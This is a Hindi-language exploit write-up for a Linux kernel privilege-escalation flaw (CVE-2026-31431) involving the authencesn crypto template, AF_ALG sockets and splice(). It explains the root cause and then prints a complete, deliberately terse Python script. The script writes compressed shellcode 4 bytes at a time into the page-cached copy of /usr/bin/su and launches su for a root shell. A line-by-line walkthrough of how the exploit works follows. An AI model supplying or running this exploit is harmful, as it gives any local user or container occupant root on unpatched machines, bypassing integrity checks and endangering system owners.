
स्थानीय विशेषाधिकार वृद्धि शोषण CVE-2026-31431 के लिए, AF_ALG और splice के माध्यम से पेज कैश में setuid बाइनरी को दूषित करके रूट शेल प्राप्त करना।
Linux कर्नेल के AEAD टेम्पलेट
authencesnमें एक तार्किक त्रुटि एक अन-विशेषाधिकार प्राप्त उपयोगकर्ता को किसी भी पठनीय फ़ाइल के पेज कैश में 4 नियंत्रित बाइट्स लिखने की अनुमति देती है।
प्रदान की गई Python स्क्रिप्ट मेमोरी में
/usr/bin/suको दूषित करती है और रूट शेल उत्पन्न करती है।
CVE-2026-31431 Linux कर्नेल के क्रिप्टोग्राफ़िक सबसिस्टम में एक भेद्यता है, विशेष रूप से authencesn टेम्पलेट (विस्तारित अनुक्रम संख्या के साथ AEAD) में, जो AF_ALG सॉकेट इंटरफ़ेस और splice() सिस्टम कॉल के साथ संयुक्त है।
मूल कारण: authencesn डिक्रिप्शन रूटीन गंतव्य स्कैटर सूची को अस्थायी स्थान के रूप में उपयोग करता है, वैध आउटपुट क्षेत्र से 4 बाइट्स आगे लिखता है।
जब AF_ALG इन-सीटू AEAD ऑपरेशन करता है और splice() प्रमाणीकरण टैग के रूप में पेज कैश पेज (जैसे, setuid बाइनरी से) प्रदान करता है, तो सीमा से बाहर लिखना सीधे उस फ़ाइल की कर्नेल कैश्ड कॉपी में पहुँचता है।
प्रभाव: एक अन-विशेषाधिकार प्राप्त स्थानीय हमलावर किसी भी फ़ाइल में 4-बाइट संरेखित स्थान को अधिलेखित कर सकता है जिसे वह पढ़ सकता है। भ्रष्टाचार केवल पेज कैश में होता है; डिस्क पर फ़ाइल अपरिवर्तित रहती है, फ़ाइल अखंडता जाँच को दरकिनार करते हुए।
प्रभाव: setuid बाइनरी (जैसे, /usr/bin/su) को शेलकोड के साथ अधिलेखित करके, एक हमलावर बाइनरी को निष्पादित कर सकता है और रूट शेल प्राप्त कर सकता है। वही प्रिमिटिव विभिन्न कंटेनरों में काम करता है क्योंकि पेज कैश होस्ट के साथ साझा किया जाता है।
exploi-copyfail.py)शोषण एक 732-बाइट Python स्क्रिप्ट है जो केवल मानक लाइब्रेरी (os, socket, zlib) का उपयोग करती है। यह 2017 से 2026 (पैच से पहले) तक के कर्नेल संस्करणों वाले किसी भी Linux वितरण पर काम करती है।
#!/usr/bin/env python3
import os as g, zlib, socket as s
def d(x): return bytes.fromhex(x)
def c(f, t, c):
a = s.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64))
v(h, 5, None, 4)
u, _ = a.accept()
o = t + 4
i = d('00')
u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
try: u.recv(8 + t)
except: 0
f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i < len(e):
c(f, i, e[i:i + 4])
i += 4
g.system("su")
सेटअप: authencesn(hmac(sha256),cbc(aes)) से बंधा एक AF_ALG सॉकेट खोला जाता है, एक नकली कुंजी सेट की जाती है और एक अनुरोध स्वीकार किया जाता है।
पेलोड: शेलकोड (हेक्स ब्लॉब से डीकंप्रेस्ड) को 4-बाइट खंडों में विभाजित किया जाता है।
भ्रष्टाचार लूप: प्रत्येक खंड के लिए:
sendmsg() संबद्ध प्रमाणित डेटा (AAD) प्रदान करता है। AAD के बाइट 4 से 7 में वे 4 बाइट्स होते हैं जिन्हें लिखा जाना है।
splice() सॉकेट की TX स्कैटर सूची में /usr/bin/su (लक्षित setuid बाइनरी) का एक भाग डालता है। ऑफ़सेट और लंबाई इस प्रकार चुनी जाती है कि प्रमाणीकरण टैग क्षेत्र बाइनरी के .text अनुभाग के भीतर लक्ष्य पते पर स्थित हो।
recv() AEAD डिक्रिप्शन को ट्रिगर करता है, authencesn /usr/bin/su के पेज कैश में 4-बाइट खंड लिखता है। HMAC विफल हो जाता है, लेकिन लेखन बना रहता है।
निष्पादन: सभी खंड लिखे जाने के बाद, स्क्रिप्ट su निष्पादित करती है। चूँकि कैश्ड संस्करण में अब शेलकोड होता है, su रूट विशेषाधिकारों के साथ निष्पादित होता है और एक शेल खोलता है।